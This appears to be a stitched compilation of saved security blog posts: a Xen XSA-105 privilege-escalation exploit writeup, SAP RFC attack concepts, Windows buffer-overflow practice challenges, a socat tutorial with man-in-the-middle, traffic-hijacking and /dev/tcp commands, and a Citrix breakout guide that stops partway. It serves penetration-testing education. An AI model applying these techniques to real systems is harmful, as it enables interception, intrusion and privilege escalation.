**Author:**| __  
**Tags:**| __  
  

  

#  Xen exploitation part 1: XSA-105, from nobody to root

Date __ Wed 25 May 2016  By __ Jérémie Boutoille Category __ Exploitation.
Tags __ Xen __ Exploitation __ PoC __ Linux

This blog post describes the exploitation of Xen Security Advisory 105
\(XSA-105\) \[9\] \(CVE-2014-7155\). This post explains the environment setup
and shows the development of a fully working exploit on Linux 4.4.5.

We are not aware of any public exploit for this vulnerability, altough Andrei
Lutas wrote excellent articles \[1\] \[2\] \[3\] describing the root cause of
the vulnerability and how to trigger it. This post explains the environment
setup and shows the development of a fully working exploit on Linux 4.4.5 \(it
probably works with many others versions\).

## tl;dr

[code]

    [grm:~]$ ssh root@localhost -p 2222                                                               Linux dom0 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64                                                                                                                                              The programs included with the Debian GNU/Linux system are free software;                         the exact distribution terms for each program are described in the                                individual files in /usr/share/doc/*/copyright.                                                                                                                                                     Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent                                 permitted by applicable law.                                                                      Last login: Mon May  9 17:46:32 2016 from 10.0.2.2                                                root@dom0:~# # dom 0                                                                              root@dom0:~# dmesg | grep "Xen version"                                                           [    0.000000] Xen version: 4.1.6.1 (preserve-AD)                                                 root@dom0:~# xen-detect                                                                           Running in PV context on Xen v4.1.                                                                root@dom0:~# xl list                                                                              Name                                        ID   Mem VCPUs      State   Time(s)                   Domain-0                                     0  3256     4     r-----      67.5                   hvm_arch                                     1  1019     2     -b----      79.4                   root@dom0:~# ssh arch@10.0.2.16                                                                   arch@10.0.2.16's password:                                                                        Last login: Mon May  9 17:46:32 2016 from 10.0.2.15                                               [arch@archguest ~]$ # guest                                                                       [arch@archguest ~]$ uname -a                                                                                                                                                                                                                                                                          
[/code]

00:00

Powered by asciinema

## Environment

Xen versions from at least 3.2.x were vulnerable. We chose to exploit the
XSA-105 on the last non patched version: 4.1.6.1. The vulnerability allows
privilege escalation on Hardware Virtualized Machines \(HVM \[4\]\). According
to Xen terminology, HVM guests are fully virtualized guests using
virtualization extensions such as Intel VT or AMD-V. The other main type of
Xen guest are paravirtualized \(PV\). Basically, the kernel detects Xen at
boot time if it runs under an hypervisor, and uses paravirtualization
extensions called pvops \[5\] in this case to be more efficient. Because the
default compilation options of the Linux kernel enable pvops, we compiled a
custom kernel with these extensions disabled.

### Dom0

Dom0 \[6\] \[7\] is the initial virtual machine launched by Xen on boot. This
is the most privileged guest and allows Xen administration. We chose to
install Dom0 as a classical Debian 7.9.0.

Xen compilation asks for some dependencies:

[code]

    apt-get build-dep xen
    
[/code]

Once the dependencies are installed, compiling and installing Xen should be
straightforward:

[code]

    make install -j4 && update-grub
    
[/code]

Reboot Dom0 and choose the right entry in grub. In order to use the `xl`
command, the linker's path must be adjusted. Also, the `xencommons` service
needs to run:

[code]

    echo "/usr/lib64" >> /etc/ld.so.conf
    insserv xencommons
    service xencommons start
    
[/code]

### DomU

The second step requires the creation of an HVM guest. As the pvops are
enabled by default, most Linux distributions should be in fact
paravirtualized. We chose to use an Archlinux base installation \[8\] as HVM
guest. The compilation option to deactivate the pvops is simply in `Processor
type and features -> Linux guest support (CONFIG_HYPERVISOR_GUEST=n)`.

<img src='img/Temp2_9962.png' width='933' height='536' />

The `xl` configuration file used to launch the HVM DomU is straightforward.
Let's take an HVM guest with 2 CPUs or more \(since it's required for the
exploitation of the vulnerability\). In our case, the guest is loaded from a
`qcow` image which has been directly created on a physical machine for better
performances. The network interface is a bridge with the hypervisor network,
which allows us to communicate with the guest through SSH.

[code]

    kernel = '/usr/lib/xen/boot/hvmloader'
    builder='hvm'
    memory = 1024
    name = 'hvm_arch'
    vcpus = 2
    vif = ['bridge=xenbr0']
    disk = ['tap:qcow:/root/VM2.img.qcow,xvda,w']
    device_model_version = 'qemu-xen-traditional'
    sdl=0
    serial='pty'
    vnc=1
    vnclisten="0.0.0.0"
    vncpasswd=""
    
[/code]

## XSA-105

### Description

The vulnerability is located in the emulation of `hlt`, `lgdt`, `lidt` and
`lmsw` instructions \[9\]:

[code]

    ISSUE DESCRIPTION
    =================
    The emulation of the instructions HLT, LGDT, LIDT, and LMSW fails to
    perform supervisor mode permission checks.
    
    However these instructions are not usually handled by the emulator.
    Exceptions to this are
    - - when the instruction's memory operand (if any) lives in (emulated or
      passed through) memory mapped IO space,
    - - in the case of guests running in 32-bit PAE mode, when such an
      instruction is (in execution flow) within four instructions of one
      doing a page table update,
    - - when an Invalid Opcode exception gets raised by a guest instruction,
      and the guest then (likely maliciously) alters the instruction to
      become one of the affected ones.
    
    Malicious guest user mode code may be able to leverage this to install
    e.g. its own Interrupt Descriptor Table (IDT).
    
[/code]

We learn two things from the above text:

  * the code emulating `hlt`, `lgdt`, `lidt` and `lmsw` does not perform supervisor mode permission checks. Hence a possibility for a non privileged code \(ring 3\) to run these instructions
  * these instructions are not usually emulated, it means that we have to find a way to emulate them. The third proposition of the advisory seems to be the easiest to implement and this is the solution adopted by Andrei Lutas \[1\].

Lutas has already provided a remarkable job explaining the vulnerable code in
his paper \[1\], if you need explanations about those, definitely read his
paper.

### Exploitation

Among the vulnerable instructions, only two of them could lead to a potential
privilege escalation: `lgdt` and `lidt`. They respectively allow to change the
value of the Global Descriptor Table Register and Interrupt Descriptor Table
Register. Both GDTR and IDTR have the same format: the upper bits contain the
base address and the lower bits define the limit \[10\]. These values define
the Global Descriptor Table \(GDT\) and the Interrupt Descriptor Table \(IDT\)
addresses.

<img src='img/Temp2_9958.png' width='624' height='148' />

According to Intel manuals, a non privileged code is not allowed to execute
these instructions. If a user is able to load his own GDT or IDT, this can
lead to an arbitrary code execution and a privilege escalation. Let's see how.

#### Interrupt Descriptor Table \(IDT\)

The IDT is the x86 interrupt vector table \[10\]. It is a basic table that
associates an interrupt number with an interrupt handler. The entry number
determines the interrupt number and each entry contains some fields such as: a
type, a segment selector, an offset, a privilege level, etc. The interrupt
handler address is determined by adding the segment base \(determined with the
segment selector\) and the offset.

<img src='img/Temp2_9964.png' width='537' height='320' />

If a user is able to load his own IDT, he can specify a malicious entry which
links an interrupt to his own handler using kernel code segment selector. In
order to avoid stability issues, the interrupt must be fowarded to the
original handler. This can be done because the handler runs in kernel space,
and it can read entries from the previous IDT. This IDT must have been
previously saved using the `sidt` instruction because it must be restored
before returning to user space. However, we have not tested it.

We chose to use the GDT approach, despite the IDT solution adopted by Andrei
Lutas \[1\].

#### Global Descriptor Table \(GDT\)

The GDT is used to define memory segments. Each entry contains: a base, a
limit, a type, a Descriptor Privilege Level \(DPL\), read/write bit, and so
on:

[code]

    struct desc_struct {
            union {
                    struct {
                            unsigned int a;
                            unsigned int b;
                    };
                    struct {
                            unsigned short limit0;
                            unsigned short base0;
                            unsigned int base1: 8, type: 4, s: 1, dpl: 2, p: 1;
                            unsigned int limit: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
                    };
            };
    } __attribute__((packed));
    
[/code]

Nowadays, the most used memory segmentation pattern is a flat model. Each
descriptor maps the whole memory but with differents privileges and flags
\(all security checks are performed with paging\). Most of the time there are
at least six GDT entries:

  * 32-bit kernel code segment \(dpl = 0\)
  * 64-bit kernel code segment \(dpl = 0\)
  * kernel data segment \(dpl = 0\)
  * 32-bit user code segment \(dpl = 3\)
  * 64-bit user code segment \(dpl = 3\)
  * user data segment \(dpl = 3\)

The current memory segments are specified in the segment registers. There are
several segment registers: code selector, stack selector, data selector, etc.
Each segment selector is 16-bit long. Bits 3 through 15 are an index in the
GDT, bit 2 is the LDT/GDT selector, bit 0 and 1 are the Requested Segment
Privilege \(RPL\).

<img src='img/Temp2_9961.png' width='536' height='242' /> <img
src='img/Temp2_9963.png' width='537' height='153' />

There is another kind of entry which is very interesting in our case: call
gate entry. The aim of a call gate is to facilitate the transfer between
different privilege levels. Such entries are twice larger than memory
descriptors \(in 64-bit mode\) and have others fields:

  * a segment selector
  * an offset in the selected segment
  * a DPL

<img src='img/Temp2_9960.png' width='536' height='338' />

To access a call gate, the user has to perform a far call. The far call must
specify the call selector. This selector has exactly the same format as any
selector \(index in the GDT, LDT/GDT selector, requested privilege\). Then the
CPU takes the segment selector specified in the call gate entry, takes the
base of this segment, add the call gate offset and reaches procedure entry
point.

<img src='img/Temp2_9959.png' width='536' height='340' />

Of course, there are some privilege checks and four levels of privileges are
involved:

  * the current privilege level \(CPL\)
  * the requested privilege level in the far call selector \(RPL\)
  * the call gate descriptor privilege level \(CDPL\)
  * the segment descriptor privilege level \(SDPL\)

Three conditions must be satisfied:

  * CPL <= CDPL
  * RPL <= CDPL
  * SDPL <= CPL

If these conditions are satisfied the call gate procedure is executed. The
idea is to create a call gate with a DPL set to 3, a segment selector pointing
to the kernel code segment, and procedure giving us supervisor privileges.
Then:

  * CPL = 3
  * RPL = 0
  * CDPL = 3
  * SDPL = 0
  * CPL <= CDPL == True
  * RPL <= CDPL == True
  * SDPL <= CPL == True

#### Putting it all together

The exploitation process is:

  1. craft a custom GDT containing a flat segmentation model and a call gate with DPL = 3
  2. save the current GDTR
  3. create 2 threads waiting for each other \(just for synchronization\)
  4. the first one performs an `ud2` instruction while the second one patches the `ud2` instruction with a `lgdt [rbx]` instruction \(see Lutas' paper for more details \[1\]\)
  5. if we are no too slow, the emulation of `lgdt [rbx]` should occur
  6. far call
  7. `#`

The far call routine first reloads the old GDTR and then performs a simple
`commit_creds(prepare_kernel_cred(0));`. This routine must perform a `swapgs`
before calling any kernel function and before returning to user space. Exiting
the far call routine is done with a `retf` instruction.

A demonstration is available here: asciinema, and the full exploit can be
downloaded here: xsa105\_exploit.tar.gz.

## Conclusion

This vulnerability allows a privilege escalation on a HVM guest with more than
one CPU. We use the call gate mechanism in order to execute arbitrary code
while Andrei Lutas \[1\] exploited an interrupt handler. Since it's just a
PoC, some requirements must be met. SMEP shouldn't be enabled in the guest
because the call gate handler is in user memory space. Also, the payload calls
`commit_creds(prepare_kernel_cred(0));` to gain root privileges. If
`kptr_restrict`, we will not be able to retrieve the functions' addresses
through `/proc/kallsyms`.

It was the first time for me dealing with Xen, it was very interesting and I
encourage anyone interested in it to do the same: take an advisory and write
an exploit, make profit or publish it ;\)

A future blog post will talk about a guest-to-host escape, with a working
exploit. Stay tuned\!

\[1\]| _\(1, 2, 3, 4, 5, 6\)_ https://labs.bitdefender.com/wp-
content/uploads/downloads/2014/10/Gaining-kernel-privileges-using-the-Xen-
emulator.pdf  
---|---  
\[2\]| https://www.cert-ro.eu/files/doc/896\_20141104131145076318500\_X.pdf  
---|---  
\[3\]| https://labs.bitdefender.com/2014/10/from-ring3-to-ring0-xen-emulator-
flaws/  
---|---  
\[4\]| http://wiki.xen.org/wiki/Xen\_Project\_Software\_Overview\#Guest\_Types  
---|---  
\[5\]| http://wiki.xenproject.org/wiki/XenParavirtOps  
---|---  
\[6\]| http://wiki.xen.org/wiki/Dom0  
---|---  
\[7\]| http://wiki.xen.org/wiki/Dom0\_Kernels\_for\_Xen  
---|---  
\[8\]| https://wiki.archlinux.org/index.php/installation\_guide  
---|---  
\[9\]| _\(1, 2\)_ http://xenbits.xen.org/xsa/advisory-105.html  
---|---  
\[10\]| _\(1, 2\)_
http://download.intel.com/design/processor/manuals/253668.pdf  
---|---  
## Comments

  

  *[
        __ Wed 25 May 2016
]: 2016-05-25T00:00:00+02:00

# Context - SAP Exploitation

**Created:**| _7/15/2011 2:19:26 PM_  
---|---  
**Updated:**| _7/15/2011 2:19:26 PM_  
**Author:**| __  
**Tags:**| _attacks Exploit sap_  
  

# **SAP Exploitation – Part 1**<img src='img/Temp2_1599.gif' />

**Ben Heinkel, July 2011**

In this series of posts I aim to cover in depth some of the publically known
infrastructure vulnerabilities that affect SAP \(which stands for "Systems,
Applications and Products in Data Processing"\) systems, how to use public
domain tools to test your current deployments for these issues and how best to
address them. While the industry is slowly taking note of SAP related security
beyond segregation of duties, there is still a significant lack of awareness
of vulnerabilities and attacks against SAP systems, which prompted this series
of posts.

The main focus of these posts shall be on SAP infrastructure security
particularly that of Remote Function Call \(RFC\) security as it is an area
where default configurations as well as common mis-configurations can lead to
the introduction of high risk entry points into the SAP estate. However, I
will start out by briefly covering a few other areas of concern that warrant
mention, as they are still prevalent in production systems in use today as
Context has encountered a number of times on recent engagements.

The use of SAP’s weak proprietary password hashing algorithms is still
something that is seen on production systems more often than not. Numerous
industry standard password cracking tools include support for various versions
of SAP hashes, giving attackers a fair chance of cracking user passwords if
they have managed to gain access to the database tables that contain the
hashes through commonly found excessive user authorisation privileges or
compromise of the database itself. While SAP’s earlier hashing algorithms were
weak, insecure and in some versions employed Microsoft’s old approach of
gluing the new strong hash to an earlier weak one for backwards compatibility,
the last version ‘H’ has all the ingredients of a properly devised hashing
mechanism. If you’re running an older version of SAP that does not support
this code version, there are mitigations available to at least disable
password downwards compatibility **\[1\]**, preventing lowering password
security even further if upgrading the platform itself is not an option.

Another issue commonly seen relates to an unpatched SAPGUI client, and/or
clients that do not make use of their integrated security enhancements. As of
version 7.20, the client has a ‘security module’ allowing administrators to
set up a policy with a fairly granular approach to limiting the permissions of
the client itself. Earlier versions of the client could be exploited by
attackers using malicious SAP shortcuts combined with social engineering
techniques to gain complete access over a system, and potentially gain further
access to the rest of the SAP estate from there. In our experience of
assessing the security of SAP systems, patching is often neglected for SAPGUI
as it is for many non-Microsoft client applications in large organisations.
This leaves client systems containing sensitive data and acting as potential
conduits into the rest of the SAP environment open to attack \(a critical
vulnerability in SAPGUI discovered this year **\[2\]**\). Although SAP does
not provide an easy automated update solution, the risk of an unpatched SAPGUI
installation warrants investigation into tying it in with remote update
processes that may already exist in your organisation.

## **RFC**

Remote Function Call \(RFC\) is SAP’s custom protocol for calling functions on
remote servers in SAP deployments. Substantial research on this protocol and
associated vulnerabilities has been done by Onapsis **\[3\]** and Cybsec
**\[4\]**, who also released one of the first public domain SAP penetration
testing frameworks. I will be using this framework later in this post to
demonstrate the various attacks against this protocol. While buffer overflows
and other serious vulnerabilities leading to command execution have existed in
default RFC functions in the past, SAP has addressed these issues and they
should not cause concern to deployments with up-to-date patch levels. However,
insecure configurations and the weak design of some core functionality deserve
the same attention and is unfortunately an area that lies in the hands of the
administrator.

The two main attacks against incorrectly configured SAP systems \(as coined by
SAP security researcher Mariano Nunez Di Croce\) that use the RFC protocol
are; Evil twin and Callback . I will begin by explaining the RFC behaviour
that makes these attacks possible, and then go into detail regarding the flaws
and how they are exploited. Detailed technical information on how to exploit
these issues will be provided in the second part of this blog series.

Both of these attacks focus on exploiting the way external RFC servers
interface with a SAP gateway. These external servers could be other SAP
servers, or servers of any nature hosting a SAP RFC application. For clients
to be able to utilise these external functions, the gateway they are connected
to needs to know the external server’s location to be able to forward requests
to them when the function they are hosting is called by a client. SAP provides
two methods for servers to register themselves with the gateway for this
purpose. These are known as “started mode” and “registered mode”.

In started mode, the gateway is statically configured with the information it
requires to execute a function, regardless of whether that function is
available locally or on an external server. In the case of an external RFC
server, the gateway connects to the server, executes the function and closes
the connection.

In registered mode however, an external RFC server can dynamically register
itself with the gateway, using a program ID that is later used by the gateway
to direct function calls to the appropriate host. The protocol has been
designed in such a way as to allow multiple systems to register themselves
with the same ID in this mode, introducing the possibility of a man-in-the-
middle attack if an attacker is able to prevent the genuine host from
responding. An attacker would then be able to set up a fake gateway, receiving
all requests made by clients to the externally hosted function, leaving the
attacker free to interact with the client as they choose \(stealing
credentials, sniffing sensitive data or modifying data in transit\). The
extent of this attack depends on the attacker’s familiarity with the function
that the client expects to find at this endpoint. This is the Evil twin
attack.

A modified version of the previous attack uses the RFC protocol’s callback
routine, which allows a server to execute code on the client after a
successful connection has been made, in the context of the user running the
client application. An Evil twin is first created, and once an unsuspecting
user’s request is received, the malicious server can leverage the callback
function to gain control of the client’s system.

Both attacks work on a default install of the latest SAP Netweaver, with the
program ID being the only piece of information required for successful
exploitation. If transport encryption \(SNC\) is not enabled, the ID can be
sniffed over the wire or it may be guessed in cases where the administrator
has set it to be the same as the name of the function or the host, as has been
seen in production a number of times.

These issues are addressed with configuration changes to restrict hosts that
are allowed to register at the gateway. In the next post I will go into detail
of how to exploit these issues, as well as the various steps required to lock
down your SAP RFC configuration.

# References

**\[1\] -** Profile parameter login/password\_downwards\_compatibility needs
to be set to ‘0’ to disable password hashing downwards compatibility  
**\[2\] -** DLL hijacking through shortcuts  
**\[3\] -** Onapsis BizSploit - Opensource ERP Penetration Testing framework  
**\[4\] -** CYBSEC Whitepaper – Exploiting SAP Internals

# Windows Exploits

**Created:**| _6/25/2009 3:36:04 PM_  
---|---  
**Updated:**| _6/25/2009 3:36:16 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit_  
  

## Advanced Windows Buffer Overflows

### Lurene Grenier, Sourcefire VRT

At Defcon XIV, Immunity trotted out the first iteration of their NOP cert
test, and I had the pleasure of giving it a test run. I still think it's a
great indicator of ability, despite the Immunity tools focus; I'm not a user
of any of their tools generally, but I managed to pull off the hardest level
test in a modest time. It got us thinking on the way home, where does one go
from the bar set by the NOP to get to the next level in terms of exploit
development skill? In this vein I've thrown together a few windows
executables, and in a nod to Gera of Core, they're called Advanced Windows
Buffer Overflows \(AWBOs\).

We've set up a few ground rules and a basic set up to keep things moving
along:

  1. All exploits are performed in Windows 2000 SP4 unless otherwise specified. Sometimes, otherwise will be specified.
  2. Exploits will use the provided shellcode, or ret2lib.
  3. You may not return to hard coded stack addresses.
  4. No source code will be provided - just like the NOP cert.

Standard tools used are cygwin with perl, and windbg, installation in vmware a
plus. The shellcode provided is the amazing windows exec shellcode from
metasploit set up to run calc.exe.

I can say that all of these are exploitable, and they run through a
progression, so try to do each of them in the most straight forward way
possible. We'll be skipping awbo1.exe as it's very similar to one of
immunity's tests \(as far as my memory serves\). They'll be released slowly
over the next few months. Feel free to send in your solutions, or ask for
tips. All of the examples have been play tested by the VRT analysts team, and
are assured to be exploitable.

"This next test could take a very, very long time. If you become lightheaded
from thirst, feel free to pass out. An intubation associate will be dispatched
to revive you with peptic salve and adrenaline."

## Useful items

  * shellcode
  * windbg cheatsheet

## Test 1

Awbo2.exe download

"Please be advised that a noticeable taste of blood is not part of any test
protocol"

## Test 2

This time around you'll find a solution under Windows 2000 SP4, then you'll
find a solution for Windows XPSP2.

Awbo3.exe download

"Most deadly errors arise from obsolete assumptions"

## Test 3

This one might remind you of a certain back orifice parsing vulnerability you
may be familiar with. It was asserted that this one couldn't be done in XPSP2,
only in Win2k, but it really depends on how cl orders the stack before tossing
the cookie in. Later, you'll get a chance to work on this with a mocked up
stack cookie \(awbo6\) so keep that in mind here. For now though, lets stick
to Win2k. The same rules apply here: no NOP sleds, no static stack return
addresses.

Awbo4.exe download

## Test 4

I really like this one. It'll be different than the last few, and might
involve a bit of a brain stretch for those not familiar with exploit
techniques that differ from the norm. It'll hurt. There's a bit of basic
reversing, but that's not the problem.

Win2k please.

"This is very important" -- Olney

"If I were your husband I would take it." -- Winston Churchill, hon VRT

Awbo5.exe download

# Socat-fu lesson | Pen Test Partners
**Created:**| _5/9/2017 8:09:05 PM_  
---|---  
**Updated:**| _5/10/2017 10:55:09 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Socat-fu lesson

Pedro Venda 19 Sep 2014

I’m going to show you how socat is used to solve real-life penetration testing
problems. Socat is a fantastically versatile Swiss army knife for connecting
all sorts of sockets, be they TCP, UDP, IPv4, IPv6, SSL-wrapped, unix sockets,
raw sockets, etc.

There are six examples here, varying in complexity from a simple TCP
connection to a remote service, through to transparent hijacking of traffic
into a socat endpoint.

Basic:  
Case 1: Tunnel a connection from a local TCP port to a remote service  
Case 2: Tunnel a plain text connection to an SSL endpoint \(and vice-versa\)

Moderate:  
Case 3: Man in the middle an SSL connection that you can control  
Case 4: Modify HTTP traffic in transit to disable gzip/deflage encodings

Advanced:  
Case 5: Transparent hijacking of traffic into a socat endpoint

Bonus:  
Case 6: Help\! There is no netcat or socat\!

:Start

### Case 1: Tunnel a connection from a local TCP port to a remote service

Difficulty: Easy  
Usefulness: Low to moderate

$ socat -v tcp4-listen:8000,reuseaddr,fork tcp4:6.6.6.6:80

Connections to localhost:8000 will end up at port 80 of remote host 6.6.6.6.
Socat forks a new process for every connection so multiple connections can be
made to the local port without requiring restarting socat.

GOTO :End

### Case 2: Tunnel a plain text connection to an SSL endpoint \(and vice-
versa\)

Difficulty: Easy  
Usefulness: High

$ socat -v tcp4-listen:9000,reuseaddr,fork ssl:6.6.6.6:443,verify=0

Plain text connections to localhost on port 9000 will terminate at the remote
host 6.6.6.6 in an SSL tunnel. This is particularly useful when certain tools
do not deal with SSL correctly or when certificates get in the way. Socat can
be used to establish the SSL connection while presenting a plain text
endpoint, thus masking or hiding the encryption layer. This model can be
extended to enable the use of a client side certificate, which further helps
to mask this layer of complexity \(which some tools might not support\).

$ socat -v tcp4-listen:9000,reuseaddr,fork  
ssl:6.6.6.6:443,verify=0,cert=./provisional\_prov.pem

The opposite is also possible \(with or without client certificate
authentication\), with the added requirement that server-side certificates
must exist for socat to be able to host SSL/TLS connections.

$ socat -v openssl-listen:7000,cert=cert.pem,verify=0,reuseaddr,fork  
tcp4:6.6.6.6:6000

In this case an SSL/TLS connection to localhost on port 7000 is piped to the
remote host 6.6.6.6 on port 6000.

GOTO :End

### Case 3: Man in the middle an SSL connection that you can control

Difficulty: Moderate Usefulness: High \(specific\)

All the above cases can be combined in weird and complicated ways to confuse
your colleagues and clients implement useful but complex network tunnels.
Socat makes it very easy to terminate an SSL/TLS connection, pipe the data in
plain text into another socat instance which forwards it through an SSL/TLS
tunnel to the end service. The end result is visibility and ability to modify
traffic in plain text which would otherwise be going through the SSL tunnel.

Traffic flows roughly as per the diagram below:

“Application” ==SSL==> socat \#1 —plain—> socat \#2 ==SSL==> Remote service

The commands below should be executed in reverse order in separate shells:

\#1: $ socat -v openssl-listen:6000,cert=cert.pem,verify=0,reuseaddr,fork  
tcp4:localhost:6500

\#2: $ socat -v tcp4-listen:6500,reuseaddr,fork ssl:6.6.6.6:443,verify=0

NOTE: socat won’t connect the second socket until a connection is received on
the first, therefore the order of the above commands is normally irrelevant.
But for correctness, the second command should be started in first place.

GOTO :End

### Case 4: Modify HTTP traffic in transit to disable gzip/deflage encodings

Difficulty: Moderate  
Usefulness: Medium \(specific\)

Netsed is another very useful tool to play with plaintext network traffic.
This is a very simple example where the keywords ‘gzip’ and ‘deflate’ are
removed from HTTP headers whilst maintaining the request length. The commands
below should be executed in reverse order in separate shells:

“Application” ==SSL==> socat \#1 —plain—> netsed —plain—> socat \#2 ==SSL==>
Remote service

\#1: $ socat -v openssl-listen:6000,cert=cert.pem,verify=0,reuseaddr,fork  
tcp4:localhost:6500

\#2: $ netsed tcp 6500 127.0.0.1 6750 ‘s/gzip/ ‘ ‘s/deflate/ ‘

\#3: $ socat -v tcp4-listen:6750,reuseaddr,fork ssl:6.6.6.6:443,verify=0

The application connects to socat \#1 on port 6000 over SSL. socat \#1 pipes
the traffic in plain text through netsed \(\#2\) which modifies content on the
fly and forwards it to a second instance of socat \#2. Socat \#2 in turn
forwards the modified traffic via an SSL connection to the remote server.

Modifying the workstation’s ‘hosts’ file is a helpful tweak to help forward
traffic from applications that use hard coded host names rather than IP
addresses.

GOTO :End

### Case 5: Transparent hijacking of traffic into a socat endpoint

Difficulty: Advanced  
Usefulness: Medium \(specific\)

This is where it all comes together. Supposed you want to modify traffic
coming from an application running on a Windows workstation that connects to a
hard coded IP address over SSL on a hard coded port. \[This precludes dealing
with certificate validity which can in most cases be taken care of
\(technically all cases, but some are harder than others\)\].

A possible solution is to add a static route into a Linux virtual machine
connected to the Internet via a bridged interface, setup iptables to hijack
the traffic and forward to a local port \(remember  
that traffic is aimed at a remote address, so Linux would attempt to route
it\) and get the socat array of processes piping the traffic through the
assembly line of hacking through towards the remote host as intended by the
application.

A couple of definitions:  
Remote service is 6.6.6.6 on port 9999;  
VM address: 192.168.81.131 \(eth0\)  
VM briged gateway address: 192.168.1.254 \(eth1\)

Step 1: redirect traffic to VM \(Windows workstation\)

$ route -p add 6.6.6.6 mask 255.255.255.255 192.168.81.131 metric 1 if 20

Traffic going to IP 6.6.6.6/32 should be delivered to host 192.168.81.131
\(the Linux VM\) on interface 0x20 \(check with route print which interface
index connects where\) with full priority \(metric 1\).

At this point, the Linux VM will receive traffic coming from the test app
towards the remote server on port 9999, but the traffic is either
routed/forwarded or dropped.

Step 2: hijack application traffic \(Linux VM\)

\# echo -n 1 > /proc/sys/net/ipv4/ip\_forward \# enable forwarding  
\# ip route del default … \# normally the NATted interface  
\# ip route add default via 192.168.1.254 \# route traffic out via a bridged
interface rather than returning on a NATted interface

NOTE: The Linux VM should connect to the Internet via a bridged interface as
opposed to connecting back via a NATted connection to the host Workstation.
This is because once the traffic returns to the workstation, its target
returns to the VM because of the static route created to forward the traffic,
as originally intended.

\# iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE \# NAT/masquerade  
outbound traffic  
\# iptables -t nat -A PREROUTING -p tcp –dport 9999 -d 6.6.6.6 -j  
REDIRECT –to 6000 \# redirect traffic aimed at 6.6.6.6 port 9999 to local port
6000

:Step3  
GOTO :Case4;

### Case 6: Help\! There is no socat or netcat\!

If you happen to be using a system with a bash shell available, then TCP
connections can be done by interacting with a pseudo-filesystem provided by
the shell itself in the shape of /dev/tcp// which uses the connect\(\) system
call. This facility makes it very easy to connect to a remote host and
transfer data onto it. Listening on a port, however, is not something that
bash facilitates \(because there is no provided equivalent pseudo-filesystem
that uses the bind\(\) system call\).

$ exec 8<>/dev/tcp/6.6.6.6/80

Open a file descriptor and point it at the virtual file  
/dev/tcp/6.6.6.6/80, which is the same as connecting the file descriptor to
the remote tcp port of host 6.6.6.6 \(host names can be used too\) on port 80.
This is a read-write file descriptor as shown below.

$ echo -e “GET / HTTP/1.0\r\n\r\n” >&8

Write a basic HTTP request onto the file descriptor.

$ cat <&8

Finally read the response into standard output. Job done\!

GOTO :End;

:End

  

# Breaking Out of Citrix and other Restricted Desktop Environments | Pen Test Partners
**Created:**| _5/31/2017 6:06:12 PM_  
---|---  
**Updated:**| _5/31/2017 6:06:12 PM_  
**Author:**| __  
**Tags:**| _Enterprise thin-client_  
  

  

Blog: How Tos

# Breaking Out of Citrix and other Restricted Desktop Environments

<img src='img/Temp2_1129.png' width='400' height='400' /> Michael Yardley 06
Jun 2014

Many organisations are turning to virtualisation of apps and desktops. This
often involves virtualisation platforms such as Citrix to deliver these
services.

Get your configuration or lock-down wrong and you’ll find users ‘breaking out’
of the environment you thought you had secured. It might not be long after
that when you find that your entire domain has been compromised.

There are plenty of guides out there for break out of controlled desktop
environments, but in our experience, none have yet brought together a
comprehensive guide.

This is our attempt to do so; we hope you find it useful. However, this is an
evolving document: despite significant effort and research going in to this,
you can guarantee that we haven’t covered every attack vector. If you think
we’ve missed something, please flag it to us and we’ll include it, crediting
you and the original source \(if it wasn’t you that found it\!\).

### Index

  * Dialog Boxes
  * Abusing Dialog Boxes
  * Help Menus
  * Environmental Variables / Bypassing Path Restrictions
  * Gaining a Command Shell
  * Bypassing Write Restrictions
  * Bypassing Executable Restrictions
  * Internet Explorer
  * Microsoft Office
  * Modifying ICA Files
  * Default / Weak Credentials
  * File Transfer – Getting data to and from your target
  * Useful System / Administrative Tools
  * Shortcuts
  * RDP / Citrix Shortcuts
  * Batch Files and Scripts
  * Juicy Files and Data
  * Binary Planting
  * Conclusion

### Dialog Boxes

Back To Index▲

Acquiring a dialog box is often the first port of call in breakout testing,
and is usually an effective method of gauging if any obvious attempts have
been made to harden the system.

Even when you’re presented with only a lowly instance of Notepad, there can be
options available.

It is not uncommon for the most innocuous and simplistic of applications to
lead to the compromise of a client’s Domain and entire estate. This is often
referred to as the “snowball” effect, where one small issue leads to another,
gradually increasing in severity and risk.

<img src='img/1x1.trans.gif' width='342' height='173' alt='IMAGE1' />

Many of the standard windows applications that are available typically offer
some way of opening a dialog box:

<img src='img/1x1.trans.gif' width='435' height='192' alt='IMAGE2' />

Naturally, various methods exist that can be used to bring up a dialog,
however simple examples are:

  * “Save as” / “Open as” option
  * “Print” feature – selecting “print to file” option \(XPS/PDF/etc\)

<img src='img/1x1.trans.gif' width='602' height='290' alt='IMAGE3' />

### Abusing Dialog Boxes

Back To Index▲

Once a dialog is open, this can be used as a pivot point to start exploring
the system or escalating privileges. This is often only limited to your
creativity, however we have a few ideas:

    * Creating new files 
      * Batch files – Right click > New > Text File > rename to .BAT \(or .CMD\) > edit > open
      * Shortcuts – Right click > New > Shortcut > “%WINDIR%\system32”
    * Open a new Windows Explorer instance 
      * Right click any folder > select “Open in new window”
    * Exploring Context Menus 
      * Right click any file/folder and explore context menus
      * Clicking “Properties”, especially on shortcuts, can yield further access via “Open File Location”

<img src='img/1x1.trans.gif' width='342' height='305' alt='IMAGE4' />

  * Input Boxes 
    * Many input boxes accept file paths; try all inputs with UNC paths such as “//attacker–pc/” or “//127.0.0.1/c$” or “C:\”
  * Bypass file restrictions 
    * enter \*.\* or \*.exe or similar in “File name” box

### Help Menus

Back To Index▲

Help menus come in numerous formats, but we’ll focus on application specific
help menus and the generic “Windows Help and Support” menu that can be
accessed via the Windows+F1 shortcut.

Help menus often have links and shortcuts to various functionality, as can be
seen below where a user can simply click a link to open Command Prompt:

<img src='img/1x1.trans.gif' width='422' height='407' alt='IMAGE5' />

**Other ideas:**

  * Right click on any whitespace and select “view source” which will open an instance of notepad
  * The Print icon at the top can be used to bring up a print dialog
  * A help menu can be accessed from the Language Bar. This is especially common on systems that need to cater for multiple languages i.e. at airports
  * Most applications with a help menu will offer a hyperlink to the vendor webpage \(e.g. www.vendor.com\). Clicking on the link can be a way of bringing up an Internet Explorer window, and pivoting from there.

### Environmental Variables / Bypassing Path Restrictions

Back To Index▲

